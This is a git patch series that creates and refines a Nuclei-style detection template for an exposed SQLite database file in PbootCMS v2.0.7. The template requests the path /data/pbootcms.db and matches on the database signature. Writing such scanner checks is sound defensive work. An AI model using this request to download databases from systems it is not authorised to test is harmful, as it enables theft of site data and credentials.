From cfee24aaa758dd8f44f27e25b61d54417fead0fd Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 7 Apr 2022 15:53:09 +0530 Subject: [PATCH 1/3] Create pbootcms-database-file-download.yaml --- .../pbootcms-database-file-download.yaml | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 vulnerabilities/other/pbootcms-database-file-download.yaml diff --git a/vulnerabilities/other/pbootcms-database-file-download.yaml b/vulnerabilities/other/pbootcms-database-file-download.yaml new file mode 100644 index 0000000000..0fb0ce1b9a --- /dev/null +++ b/vulnerabilities/other/pbootcms-database-file-download.yaml @@ -0,0 +1,26 @@ +id: pbootcms-database-file-download + +info: + name: Pbootcms Database file download + author: ritikchaddha + severity: high + reference: https://www.cnblogs.com/0daybug/p/12786036.html + tags: pbootcms,database + +requests: + - method: GET + path: + - "{{BaseURL}}/data/pbootcms.db" + + redirects: false + matchers-condition: and + matchers: + - type: word + part: body + words: + - "PbootCMS" + - "^SQLite format 3\\x00\\x10" + + - type: status + status: + - 200 From 465b904cf133678eefd2c27ccb8eaac03bf4df8b Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 7 Apr 2022 17:24:43 +0530 Subject: [PATCH 2/3] Update pbootcms-database-file-download.yaml --- .../other/pbootcms-database-file-download.yaml | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/vulnerabilities/other/pbootcms-database-file-download.yaml b/vulnerabilities/other/pbootcms-database-file-download.yaml index 0fb0ce1b9a..43bf42105c 100644 --- a/vulnerabilities/other/pbootcms-database-file-download.yaml +++ b/vulnerabilities/other/pbootcms-database-file-download.yaml @@ -1,25 +1,26 @@ id: pbootcms-database-file-download info: - name: Pbootcms Database file download + name: PbootCMS Database file download author: ritikchaddha severity: high reference: https://www.cnblogs.com/0daybug/p/12786036.html - tags: pbootcms,database + tags: pbootcms,db,exposure,database,sqlite requests: - method: GET path: - "{{BaseURL}}/data/pbootcms.db" - redirects: false + max-size: 20000 matchers-condition: and matchers: - type: word part: body words: - "PbootCMS" - - "^SQLite format 3\\x00\\x10" + - "SQLite format 3" + condition: and - type: status status: From d2c87cf12a4c2b27e73c27f151f956936fca40d0 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 7 Apr 2022 17:30:29 +0530 Subject: [PATCH 3/3] Update pbootcms-database-file-download.yaml --- vulnerabilities/other/pbootcms-database-file-download.yaml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/vulnerabilities/other/pbootcms-database-file-download.yaml b/vulnerabilities/other/pbootcms-database-file-download.yaml index 43bf42105c..b65860d801 100644 --- a/vulnerabilities/other/pbootcms-database-file-download.yaml +++ b/vulnerabilities/other/pbootcms-database-file-download.yaml @@ -1,10 +1,12 @@ id: pbootcms-database-file-download info: - name: PbootCMS Database file download + name: PbootCMS v2.0.7 DB File Download author: ritikchaddha severity: high - reference: https://www.cnblogs.com/0daybug/p/12786036.html + reference: + - https://xz.aliyun.com/t/7628 + - https://www.cnblogs.com/0daybug/p/12786036.html tags: pbootcms,db,exposure,database,sqlite requests: